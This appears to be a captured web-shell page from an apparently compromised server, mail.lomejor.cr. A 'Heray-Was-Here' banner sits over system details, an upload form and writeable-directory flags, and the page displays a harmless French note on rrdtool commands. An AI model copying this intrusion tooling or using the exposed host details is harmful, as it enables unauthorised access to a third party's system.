Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/monitoring/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/monitoring/rrd.txt
http://www.ioncannon.net/system-administration/59/php-rrdtool-tutorial/

Créer un rrd:
rrdtool create /tmp/aaa.rrd --step 10 DS:Test:GAUGE:delaybeforeunkwon:minvalue:maxvalue RRA:AVERAGE:0to1:nbechantillonpourvaleur:nbdelotaconserver
Exemple
rrdtool create /tmp/aaa.rrd --step 10 DS:Test:GAUGE:20:0:200 RRA:AVERAGE:0.5:1:360

Mettre a jour un rrd:
rrdupdate /tmp/aaa.rrd N:valeur
Si il y a plusieurs RRA
rrdupdate /tmp/aaa.rrd N:valeur1:valeur2:valeur3

Build graph:

rrdtool graph /tmp/aaa.png DEF:ds0=/tmp/aaa.rrd:Test:AVERAGE LINE1:ds0#0000FF:XXXXX

Hry